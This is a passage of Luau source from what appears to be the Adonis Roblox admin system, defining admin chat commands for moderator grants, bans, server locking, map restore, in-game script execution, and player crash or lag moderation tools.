Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = "Your admin powers have been temporarily removed"; Icon = server.MatIcons["Remove moderator"]; Time = 10; }) else Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s admin powers`, {plr}) end else Functions.Hint(`{service.FormatPlayer(v, true)} is not an admin`, {plr}) end end end }; TempModerator = { Prefix = Settings.Prefix; Commands = {"tempmod", "tmod", "tempmoderator", "tmoderator"}; Args = {"player"}; Description = "Makes the target player(s) a temporary moderator; does not save"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do if senderLevel > Admin.GetLevel(v) then Admin.AddAdmin(v, "Moderators", true) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = "You are a temp moderator. Click to view commands."; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now a temp moderator`, {plr}) else Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr}) end end end }; Moderator = { Prefix = Settings.Prefix; Commands = {"permmod", "pmod", "mod", "moderator", "pmoderator"}; Args = {"player/user"}; Description = "Makes the target player(s) a moderator; saves"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)"), { UseFakePlayer = true; }) do if senderLevel > Admin.GetLevel(v) then Admin.AddAdmin(v, "Moderators") Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = "You are a moderator. Click to view commands."; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now a moderator`, {plr}) else Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr}) end end end }; Broadcast = { Prefix = Settings.Prefix; Commands = {"broadcast", "bc"}; Args = {"Message"}; Filter = true; Description = "Makes a message in the chat window"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers() do Remote.Send(v, "Function", "ChatMessage", string.format("[%s] %s", Settings.SystemTitle, service.Filter(args[1], plr, v)), Color3.fromRGB(255,64,77)) end end }; ShutdownLogs = { Prefix = Settings.Prefix; Commands = {"shutdownlogs", "shutdownlog", "slogs", "shutdowns"}; Args = {}; Description = "Shows who shutdown or restarted a server and when"; AdminLevel = "Admins"; ListUpdater = function(plr: Player) local logs = Core.GetData("ShutdownLogs") or {} local tab = {} for i, v in logs do if v.Restart then v.Time ..= " [RESTART]" end tab[i] = { Text = `{v.Time}: {v.User}`; Desc = `Reason: {v.Reason}`; } end return tab end; Function = function(plr: Player, args: {string}) Remote.MakeGui(plr, "List", { Title = "Shutdown Logs"; Table = Logs.ListUpdaters.ShutdownLogs(plr); Update = "ShutdownLogs"; }) end }; ServerLock = { Prefix = Settings.Prefix; Commands = {"slock", "serverlock", "lockserver"}; Args = {"on/off"}; Description = "Enables/disables server lock"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local arg = args[1] and string.lower(args[1]) if (not arg and Variables.ServerLock ~= true) or arg == "on" or arg == "true" then Variables.ServerLock = true Functions.Hint("Server Locked", service.Players:GetPlayers()) elseif Variables.ServerLock == true or arg == "off" or arg == "false" then Variables.ServerLock = false Functions.Hint("Server Unlocked", service.Players:GetPlayers()) end end }; Whitelist = { Prefix = Settings.Prefix; Commands = {"wl", "enablewhitelist", "whitelist"}; Args = {"on/off/add/remove/list", "optional player"}; Description = "Enables/disables the whitelist; :wl username to add them to the whitelist"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local sub = string.lower(args[1]) if sub == "on" or sub == "enable" then Variables.Whitelist.Enabled = true Functions.Hint("Enabled server whitelist", service.Players:GetPlayers()) elseif sub == "off" or sub == "disable" then Variables.Whitelist.Enabled = false Functions.Hint("Disabled server whitelist", service.Players:GetPlayers()) elseif sub == "add" then if args[2] then local plrs = service.GetPlayers(plr, args[2], { DontError = true; IsServer = false; IsKicking = false; NoFakePlayer = false; }) if #plrs>0 then for _, v in plrs do table.insert(Variables.Whitelist.Lists.Settings, `{v.Name}:{v.UserId}`) Functions.Hint(`Added {service.FormatPlayer(v)} to the whitelist`, {plr}) end else table.insert(Variables.Whitelist.Lists.Settings, args[2]) end else error("Missing user argument") end elseif sub == "remove" then if args[2] then for i, v in Variables.Whitelist.Lists.Settings do if string.sub(string.lower(v), 1,#args[2]) == string.lower(args[2])then table.remove(Variables.Whitelist.Lists.Settings,i) Functions.Hint(`Removed {v} from the whitelist`, {plr}) end end else error("Missing user argument") end elseif sub == "list" then local Tab = {} for Key, List in Variables.Whitelist.Lists do local Prefix = Key == "Settings" and "" or `[{Key}] ` for _, User in List do table.insert(Tab, {Text = Prefix .. User, Desc = User}) end end Remote.MakeGui(plr, "List", {Title = "Whitelist List"; Tab = Tab;}) else error("Invalid subcommand (on/off/add/remove/list)") end end }; SystemNotify = { Prefix = Settings.Prefix; Commands = {"sn", "systemnotify", "sysnotif", "sysnotify", "systemsmallmessage", "snmessage", "snmsg", "ssmsg", "ssmessage"}; Args = {"message"}; Filter = true; Description = "Makes a system small message"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message") for _, v in service.GetPlayers() do Remote.RemoveGui(v, "Notify") Remote.MakeGui(v, "Notify", { Title = Settings.SystemTitle; Message = service.Filter(args[1], plr, v); }) end end }; Notif = { Prefix = Settings.Prefix; Commands = {"setmessage", "notif", "setmsg"}; Args = {"message OR off"}; Filter = true; Description = "Sets a small hint message at the top of the screen"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message (or enter 'off' to disable)") if args[1] == "off" or args[1] == "false" then Variables.NotifMessage = nil for _, v in service.GetPlayers() do Remote.RemoveGui(v, "Notif") end else Variables.NotifMessage = args[1] for _, v in service.GetPlayers() do Remote.MakeGui(v, "Notif", { Message = Variables.NotifMessage; }) end end end }; SetBanMessage = { Prefix = Settings.Prefix; Commands = {"setbanmessage", "setbmsg"}; Args = {"message"}; Filter = true; Description = "Sets the ban message banned players see"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) Variables.BanMessage = assert(args[1], "Missing message (argument #1)") end }; SetLockMessage = { Prefix = Settings.Prefix; Commands = {"setlockmessage", "slockmsg", "setlmsg"}; Args = {"message"}; Filter = true; Description = "Sets the lock message unwhitelisted players see if :whitelist or :slock is on"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) Variables.LockMessage = assert(args[1], "Missing message (argument #1)") end }; SystemMessage = { Prefix = Settings.Prefix; Commands = {"sm", "systemmessage", "sysmsg"}; Args = {"message"}; Filter = true; Description = "Same as message but says SYSTEM MESSAGE instead of your name, or whatever system message title is server to..."; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message (argument #1)") for _, v in service.Players:GetPlayers() do Remote.RemoveGui(v, "Message") Remote.MakeGui(v, "Message", { Title = Settings.SystemTitle; Message = args[1]; }) end end }; SetCoreGuiEnabled = { Prefix = Settings.Prefix; Commands = {"setcoreguienabled", "setcoreenabled", "showcoregui", "setcoregui", "setcgui", "setcore", "setcge"}; Args = {"player", "All/Backpack/Chat/EmotesMenu/Health/PlayerList", "true/false"}; Description = "Enables or disables CoreGui elements for the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[3], "Missing state (argument #3)") local enable = if args[3]:lower() == "on" or args[3]:lower() == "true" then true elseif args[3]:lower() == "off" or args[3]:lower() == "false" then false else nil assert(enable ~= nil, `Invalid state '{args[3]}'; please supply 'true' or 'false' (argument #3)`) for _,v in service.GetPlayers(plr, args[1]) do if string.lower(args[3]) == "on" or string.lower(args[3]) == "true" then Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], true) elseif string.lower(args[3]) == 'off' or string.lower(args[3]) == "false" then Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], false) end end end }; Alert = { Prefix = Settings.Prefix; Commands = {"alert", "alarm", "annoy"}; Args = {"player", "message"}; Filter = true; Description = "Get someone's attention"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr,string.lower(args[1]))do Remote.MakeGui(v, "Alert", {Message = args[2] and service.Filter(args[2],plr, v) or "Wake up; Your attention is required"}) end end }; LockMap = { Prefix = Settings.Prefix; Commands = {"lockmap"}; Args = {}; Description = "Locks the map"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, obj in workspace:GetDescendants()do if obj:IsA("BasePart")then obj.Locked = true end end end }; UnlockMap = { Prefix = Settings.Prefix; Commands = {"unlockmap"}; Args = {}; Description = "Unlocks the map"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, obj in workspace:GetDescendants()do if obj:IsA("BasePart")then obj.Locked = false end end end }; BuildingTools = { Prefix = Settings.Prefix; Commands = {"btools", "f3x", "buildtools", "buildingtools", "buildertools"}; Args = {"player"}; Description = "Gives the target player(s) F3X building tools."; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) warn("Requiring F3X Module. Expand for model URL > ", {URL = "https://www.roblox.com/library/".. 580330877}) local F3X = require(580330877)() do service.New("StringValue", { Name = `__ADONIS_VARIABLES_{Variables.CodeName}`, Parent = F3X }) end for _, v in service.GetPlayers(plr, args[1]) do local Backpack = v:FindFirstChildOfClass("Backpack") if Backpack then F3X:Clone().Parent = Backpack end end end }; Insert = { Prefix = Settings.Prefix; Commands = {"insert", "ins"}; Args = {"id"}; Description = "Inserts whatever object belongs to the ID you supply, the object must be in the place owner's or ROBLOX's inventory"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local id = string.lower(args[1]) for i, v in Variables.InsertList do if id == string.lower(v.Name)then id = v.ID break end end for i, v in HTTP.Trello.InsertList do if id == string.lower(v.Name) then id = v.ID break end end local obj = service.Insert(tonumber(id), true) if obj and plr.Character then table.insert(Variables.InsertedObjects, obj) obj.Parent = workspace pcall(obj.MakeJoints, obj) obj:PivotTo(plr.Character:GetPivot()) end end }; SaveTool = { Prefix = Settings.Prefix; Commands = {"addtool", "savetool", "maketool"}; Args = {"optional player", "optional new tool name"}; Description = `Saves the equipped tool to the storage so that it can be inserted using {Settings.Prefix}give`; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do local tool = v.Character and v.Character:FindFirstChildWhichIsA("BackpackItem") if tool then tool = tool:Clone() if args[2] then tool.Name = args[2] end tool.Parent = service.UnWrap(Settings.Storage) Variables.SavedTools[tool] = service.FormatPlayer(plr) Functions.Hint(`Added tool: {tool.Name}`, {plr}) elseif not args[1] then error("You must have an equipped tool to add to the storage.") end end end }; ClearSavedTools = { Prefix = Settings.Prefix; Commands = {"clraddedtools", "clearaddedtools", "clearsavedtools", "clrsavedtools"}; Args = {}; Description = `Removes any tools in the storage added using {Settings.Prefix}savetool`; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local count = 0 for tool in Variables.SavedTools do count += 1 tool:Destroy() end table.clear(Variables.SavedTools) Functions.Hint(string.format("Cleared %d saved tool%s.", count, count == 1 and "" or "s"), {plr}) end }; NewTeam = { Prefix = Settings.Prefix; Commands = {"newteam", "createteam", "maketeam"}; Args = {"name", "BrickColor"}; Filter = true; Description = "Make a new team with the specified name and color"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local teamName = assert(args[1], "Missing team name (argument #1)") local teamColor = Functions.ParseBrickColor(args[2]) service.New("Team", { Parent = service.Teams; Name = teamName; TeamColor = teamColor; AutoAssignable = false; }) if Settings.CommandFeedback then Functions.Hint(string.format("Created new team '%s' (%s)", teamName, teamColor.Name), {plr}) end end }; RemoveTeam = { Prefix = Settings.Prefix; Commands = {"removeteam", "deleteteam"}; Args = {"name"}; Description = "Remove the specified team"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.Teams:GetTeams() do if string.sub(string.lower(v.Name), 1, #args[1]) == string.lower(args[1]) then local ans = Remote.GetGui(plr, "YesNoPrompt", { Question = `Remove team: '{v.Name}'?` }) if ans == "Yes" then v:Destroy() return Functions.Hint(`Removed team {v.Name}`, {plr}) else return Functions.Hint("Cancelled team removal operation", {plr}) end end end end }; RestoreMap = { Prefix = Settings.Prefix; Commands = {"restoremap", "maprestore", "rmap"}; Args = {}; Description = "Restore the map to the the way it was the last time it was backed up"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local plrName = plr and service.FormatPlayer(plr) or "<SERVER>" if not Variables.MapBackup then error("Cannot restore when there are no backup maps!", 0) return end if Variables.RestoringMap then error("Map has not been backed up",0) return end if Variables.BackingupMap then error("Cannot restore map while backing up map is in process!", 0) return end Variables.RestoringMap = true Functions.Hint("Restoring Map...", service.Players:GetPlayers()) for _, obj in workspace:GetChildren() do if obj.ClassName ~= "Terrain" and not service.Players:GetPlayerFromCharacter(obj) then obj:Destroy() service.RunService.Stepped:Wait() end end local new = Variables.MapBackup:Clone() for _, obj in new:GetChildren() do obj.Parent = workspace if obj:IsA("Model") then obj:MakeJoints() end end new:Destroy() local Terrain = workspace.Terrain or workspace:FindFirstChildOfClass("Terrain") if Terrain and Variables.TerrainMapBackup then Terrain:Clear() Terrain:PasteRegion(Variables.TerrainMapBackup, Terrain.MaxExtents.Min, true) end task.wait() Admin.RunCommand(`{Settings.Prefix}respawn`, "all") Variables.RestoringMap = false Functions.Hint('Map Restore Complete.',service.Players:GetPlayers()) Logs:AddLog("Script", { Text = "Map Restoration Complete", Desc = `{plrName} has restored the map.`, }) end }; ScriptBuilder = { Prefix = Settings.Prefix; Commands = {"scriptbuilder", "scriptb", "sb"}; Args = {"create/remove/edit/close/clear/append/run/stop/list", "localscript/script", "scriptName", "data"}; Description = "[Deprecated] Script Builder; make a script, then edit it and chat it's code or use :sb append <codeHere>"; AdminLevel = "Admins"; Hidden = true; NoFilter = true; CrossServerDenied = true; Function = function(plr: Player, args: {string}) assert(Settings.CodeExecution, "CodeExecution must be enabled for this command to work") local sb = Variables.ScriptBuilder[tostring(plr.UserId)] if not sb then sb = { Script = {}; LocalScript = {}; Events = {}; } Variables.ScriptBuilder[tostring(plr.UserId)] = sb end local action = string.lower(args[1]) local class = args[2] or "LocalScript" local name = args[3] if string.lower(class) == "script" or string.lower(class) == "s" then class = "Script" --elseif string.lower(class) == "localscript" or string.lower(class) == "ls" then -- class = "LocalScript" else class = "LocalScript" end if action == "create" then assert(args[1] and args[2] and args[3], "Missing arguments") local code = args[4] or " " if sb[class][name] then pcall(function() sb[class][name].Script.Disabled = true sb[class][name].Script:Destroy() end) if sb.ChatEvent then sb.ChatEvent:Disconnect() end end local wrapped,scr = Core.NewScript(class,code,false,true) sb[class][name] = { Wrapped = wrapped; Script = scr; } if args[4] then Functions.Hint(`Created {class} {name} and appended text`, {plr}) else Functions.Hint(`Created {class} {name}`, {plr}) end elseif action == "edit" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then local scr = sb[class][name].Script local tab = Core.GetScript(scr) if scr and tab then sb[class][name].Event = plr.Chatted:Connect(function(msg) if string.sub(msg, 1,#(`{Settings.Prefix}sb`)) ~= `{Settings.Prefix}sb` then tab.Source ..= `\n{msg}` Functions.Hint(`Appended message to {class} {name}`, {plr}) end end) Functions.Hint(`Now editing {class} {name}; Chats will be appended`, {plr}) end else error(`{class} {name} not found!`) end elseif action == "close" then assert(args[1] and args[2] and args[3], "Missing arguments") local scr = sb[class][name].Script local tab = Core.GetScript(scr) if sb[class][name] then if sb[class][name].Event then sb[class][name].Event:Disconnect() sb[class][name].Event = nil Functions.Hint(`No longer editing {class} {name}`, {plr}) end else error(`{class} {name} not found!`) end elseif action == "clear" then assert(args[1] and args[2] and args[3], "Missing arguments") local scr = sb[class][name].Script local tab = Core.GetScript(scr) if scr and tab then tab.Source = " " Functions.Hint(`Cleared {class} {name}`, {plr}) else error(`{class} {name} not found!`) end elseif action == "remove" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then pcall(function() sb[class][name].Script.Disabled = true sb[class][name].Script:Destroy() end) if sb.ChatEvent then sb.ChatEvent:Disconnect() sb.ChatEvent = nil end sb[class][name] = nil else error(`{class} {name} not found!`) end elseif action == "append" then assert(args[1] and args[2] and args[3] and args[4], "Missing arguments") if sb[class][name] then local scr = sb[class][name].Script local tab = Core.GetScript(scr) if scr and tab then tab.Source ..= `\n{args[4]}` Functions.Hint(`Appended message to {class} {name}`, {plr}) end else error(`{class} {name} not found!`) end elseif action == "run" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then if class == "LocalScript" then sb[class][name].Script.Parent = plr:FindFirstChildOfClass("Backpack") else sb[class][name].Script.Parent = service.ServerScriptService end sb[class][name].Script.Disabled = true task.wait(0.03) sb[class][name].Script.Disabled = false Functions.Hint(`Running {class} {name}`, {plr}) else error(`{class} {name} not found!`) end elseif action == "stop" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then sb[class][name].Script.Disabled = true Functions.Hint(`Stopped {class} {name}`, {plr}) else error(`{class} {name} not found!`) end elseif action == "list" then local tab = {} for i, v in sb.Script do table.insert(tab, {Text = `Script: {i}`, Desc = `Running: {v.Script.Disabled}`}) end for i, v in sb.LocalScript do table.insert(tab, {Text = `LocalScript: {i}`, Desc = `Running: {v.Script.Disabled}`}) end Remote.MakeGui(plr, "List", {Title = "SB Scripts", Table = tab}) end end }; MakeScript = { Prefix = Settings.Prefix; Commands = {"s", "ss", "serverscript", "sscript", "script", "makescript"}; Args = {"code"}; Description = "Executes the given Lua code on the server"; AdminLevel = "Admins"; NoFilter = true; CrossServerDenied = true; Function = function(plr: Player, args: {string}) assert(Settings.CodeExecution, "CodeExecution config must be enabled for this command to work") assert(args[1], "Missing Script code (argument #2)") --[[Remote.RemoveGui(plr, "Prompt_MakeScript") if plr == false or Remote.GetGui(plr, "YesNoPrompt", { Name = "Prompt_MakeScript"; Size = {250, 200}, Title = "Script Confirmation"; Icon = server.MatIcons.Warning; Question = "Are you sure you want to execute the code directly on the server? This action is irreversible and may potentially be dangerous; only run scripts that you trust!"; Delay = 2; }) == "Yes" then]] local bytecode = Core.Bytecode(args[1]) assert(string.find(bytecode, "\27Lua"), `Script unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`) local cl = Core.NewScript("Script", args[1], true) cl.Name = "[Adonis] Script" cl.Parent = service.ServerScriptService task.wait() cl.Disabled = false Functions.Hint("Ran Script", {plr}) --[[else Functions.Hint("Operation cancelled", {plr}) end]] end }; MakeLocalScript = { Prefix = Settings.Prefix; Commands = {"ls", "localscript", "lscript"}; Args = {"code"}; Description = "Executes the given code on your client"; AdminLevel = "Admins"; NoFilter = true; Function = function(plr: Player, args: {string}) assert(args[1], "Missing LocalScript code (argument #2)") local bytecode = Core.Bytecode(args[1]) assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`) local cl = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[1]}`, true) cl.Name = "[Adonis] LocalScript" cl.Disabled = true cl.Parent = plr:FindFirstChildOfClass("Backpack") task.wait() cl.Disabled = false Functions.Hint("Ran LocalScript on your client", {plr}) end }; LoadLocalScript = { Prefix = Settings.Prefix; Commands = {"cs", "cscript", "clientscript"}; Args = {"player", "code"}; Description = "Executes the given code on the client of the target player(s)"; AdminLevel = "Admins"; NoFilter = true; Function = function(plr: Player, args: {string}) assert(args[2], "Missing LocalScript code (argument #2)") local bytecode = Core.Bytecode(args[2]) assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`) local new = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[2]}`, true) for i, v in service.GetPlayers(plr, args[1]) do local cl = new:Clone() cl.Name = "[Adonis] LocalScript" cl.Disabled = true cl.Parent = v:FindFirstChildOfClass("Backpack") task.wait() cl.Disabled = false Functions.Hint(`Ran LocalScript on {service.FormatPlayer(v)}`, {plr}) end end }; Note = { Prefix = Settings.Prefix; Commands = {"note", "writenote", "makenote"}; Args = {"player", "note"}; Filter = true; Description = "Makes a note on the target player(s) that says <note>"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[2], "Missing note (argument #2)") for _, v in service.GetPlayers(plr, args[1]) do local PlayerData = Core.GetPlayer(v) if not PlayerData.AdminNotes then PlayerData.AdminNotes = {} end table.insert(PlayerData.AdminNotes, args[2]) Functions.Hint(`Added {service.FormatPlayer(v)} Note {args[2]}`, {plr}) Core.SavePlayer(v, PlayerData) end end }; DeleteNote = { Prefix = Settings.Prefix; Commands = {"removenote", "remnote", "deletenote"}; Args = {"player", "note (specify 'all' to delete all notes)"}; Description = "Removes a note on the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[2], "Missing note (argument #2)") for _, v in service.GetPlayers(plr, args[1]) do local PlayerData = Core.GetPlayer(v) if PlayerData.AdminNotes then if string.lower(args[2]) == "all" then PlayerData.AdminNotes = {} else for k, m in PlayerData.AdminNotes do if string.sub(string.lower(m), 1, #args[2]) == string.lower(args[2]) then Functions.Hint(`Removed {service.FormatPlayer(v)} Note {m}`, {plr}) table.remove(PlayerData.AdminNotes, k) end end end Core.SavePlayer(v, PlayerData) end end end }; ShowNotes = { Prefix = Settings.Prefix; Commands = {"notes", "viewnotes"}; Args = {"player"}; Description = "Views notes on the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do local PlayerData = Core.GetPlayer(v) local notes = PlayerData.AdminNotes if not notes then Functions.Hint(`No notes found on {service.FormatPlayer(v)}`, {plr}) continue end Remote.MakeGui(plr, "List", {Title = service.FormatPlayer(v), Table = notes}) end end }; LoopKill = { Prefix = Settings.Prefix; Commands = {"loopkill"}; Args = {"player", "num (optional)"}; Description = "Repeatedly kills the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local num = tonumber(args[2]) or 9999 for _, v in service.GetPlayers(plr, args[1]) do service.StopLoop(`{v.UserId}LOOPKILL`) local count = 0 Routine(service.StartLoop, `{v.UserId}LOOPKILL`, 3, function() local hum = v.Character and v.Character:FindFirstChildOfClass("Humanoid") if hum and hum.Health > 0 then hum.Health = 0 count += 1 end if count == num then service.StopLoop(`{v.UserId}LOOPKILL`) end end) end end }; UnLoopKill = { Prefix = Settings.Prefix; Commands = {"unloopkill"}; Args = {"player"}; Description = "Un-Loop Kill"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do service.StopLoop(`{v.UserId}LOOPKILL`) end end }; Lag = { Prefix = Settings.Prefix; Commands = {"lag", "fpslag"}; Args = {"player"}; Description = "Makes the target player(s)'s FPS drop"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1]) do if Admin.CheckAuthority(plr, v, "lag") then Remote.Send(v, "Function", "SetFPS", 5.6) end end end }; UnLag = { Prefix = Settings.Prefix; Commands = {"unlag", "unfpslag"}; Args = {"player"}; Description = "Un-Lag"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do Remote.Send(v, "Function", "RestoreFPS") end end }; Crash = { Prefix = Settings.Prefix; Commands = {"crash"}; Args = {"player"}; Description = "Crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "crash") then Remote.Send(v, "Function", "Crash") end end end }; HardCrash = { Prefix = Settings.Prefix; Commands = {"hardcrash"}; Args = {"player"}; Description = "Hard-crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "hard-crash") then Remote.Send(v, "Function", "HardCrash") end end end }; RAMCrash = { Prefix = Settings.Prefix; Commands = {"ramcrash", "memcrash"}; Args = {"player"}; Description = "RAM-crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "RAM-crash") then Remote.Send(v, "Function", "RAMCrash") end end end }; GPUCrash = { Prefix = Settings.Prefix; Commands = {"gpucrash"}; Args = {"player"}; Description = "GPU crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "GPU-crash") then Remote.Send(v, "Function", "GPUCrash") end end end }; Shutdown = { Prefix = Settings.Prefix; Commands = {"shutdown"}; Args = {"reason"}; Description = "Shuts the server down"; Filter = true; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) if Core.DataStore then Core.UpdateData("ShutdownLogs", function(logs) table.insert(logs, 1, { User = plr and plr.Name or "[Server]", Time = os.time(), Reason = args[1] or "N/A" }) local nlogs = #logs if nlogs > 1000 then table.remove(logs, nlogs) end return logs end) end Functions.Shutdown(args[1]) end }; ServerBan = { Prefix = Settings.Prefix; Commands = {"serverban", "ban"}; Args = {"player/user", "reason"}; Description = "Bans the target player(s) from the server"; AdminLevel = "Admins"; Filter = true; Function = function(plr: Player, args: {string}, data: {any}) local reason = args[2] or "No reason provided" for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "server-ban", false) then Admin.AddBan(v, reason, false, plr) Functions.Hint(`Server-banned {service.FormatPlayer(v, true)}`, {plr}) end end end }; UnBan = { Prefix = Settings.Prefix; Commands = {"unserverban", "unban"}; Args = {"user"}; Description = "Unbans the target user(s) from the server"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing user (argument #1)") for _, v in service.GetPlayers(plr, args[1], { UseFakePlayer = true; }) do if Admin.RemoveBan(v.Name) then Functions.Hint(`{service.FormatPlayer(v, true)} has been unbanned`, {plr}) else Functions.Hint(`{service.FormatPlayer(v, true)} is not currently banned`, {plr}) end end end }; TrelloBan = { Prefix = Settings.Prefix; Commands = {"trelloban"}; Args = {"player/user", "reason"}; Description = "Adds a user to the Trello ban list (Trello needs to be configured)"; Filter = true; CrossServerDenied = true; TrelloRequired = true; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local trello = HTTP.Trello.API if not Settings.Trello_Enabled or trello == nil then return Functions.Hint('Trello has not been configured in settings', {plr}) end local lists = trello.getLists(Settings.Trello_Primary) local list = trello.getListObj(lists, {"Banlist", "Ban List", "Bans"}) local level = data.PlayerData.Level local reason = string.format("Administrator: %s\nReason: %s", service.FormatPlayer(plr), (args[2] or "N/A")) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if level > Admin.GetLevel(v) then trello.makeCard( list.id, string.format("%s:%d", (v and tostring(v.Name) or tostring(v)), v.UserId), reason ) pcall(function() v:Kick(reason) end) Remote.MakeGui(plr, "Notification", { Title = "Notification"; Icon = server.MatIcons.Gavel; Message = `Trello-banned {service.FormatPlayer(v, true)}`; Time = 5; }) end end HTTP.Trello.Update() end; }; CustomMessage = { Prefix = Settings.Prefix; Commands = {"cm", "custommessage"}; Args = {"Upper message", "message"}; Filter = true; Description = "Same as message but says whatever you want upper message to be instead of your name."; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message title (argument #1)") assert(args[2], "Missing message (argument #2)") for _, v in service.Players:GetPlayers() do Remote.RemoveGui(v, "Message") Remote.MakeGui(v, "Message", { Title = args[1]; Message = args[2]; Time = (#tostring(args[1]) / 19) + 2.5; --service.Filter(args[1],plr, v); }) end end }; Nil = { Prefix = Settings.Prefix; Commands = {"nil"}; Args = {"player"}; Hidden = true; Description = "Sends the target player(s) to nil, where they will not show up on the player list and not normally be able to interact with the game"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do v.Character = nil v.Parent = nil Functions.Hint(`Sent {service.FormatPlayer(v)} to nil`, {plr}) end end }; PromptPremiumPurchase = { Prefix = Settings.Prefix; Commands = {"promptpremiumpurchase", "premiumpurchaseprompt"}; Args = {"player"}; Description = "Opens the Roblox Premium purchase prompt for the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do service.MarketplaceService:PromptPremiumPurchase(v) end end }; RobloxNotify = { Prefix = Settings.Prefix; Commands = {"rbxnotify", "robloxnotify", "robloxnotif", "rblxnotify", "rnotif", "rn"}; Args = {"player", "duration (seconds)", "text"}; Filter = true; Description = "Sends a Roblox-styled notification for the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do Remote.Send(v, "Function", "SetCore", "SendNotification", { Title = "Notification"; Text = args[3] or "Hello, from Adonis!"; Duration = tonumber(args[2]) or 5; }) end end }; Disguise = { Prefix = Settings.Prefix; Commands = {"disguise", "masquerade"}; Args = {"player", "username"}; Description = "Names the player, chars the player, and modifies the player's chat 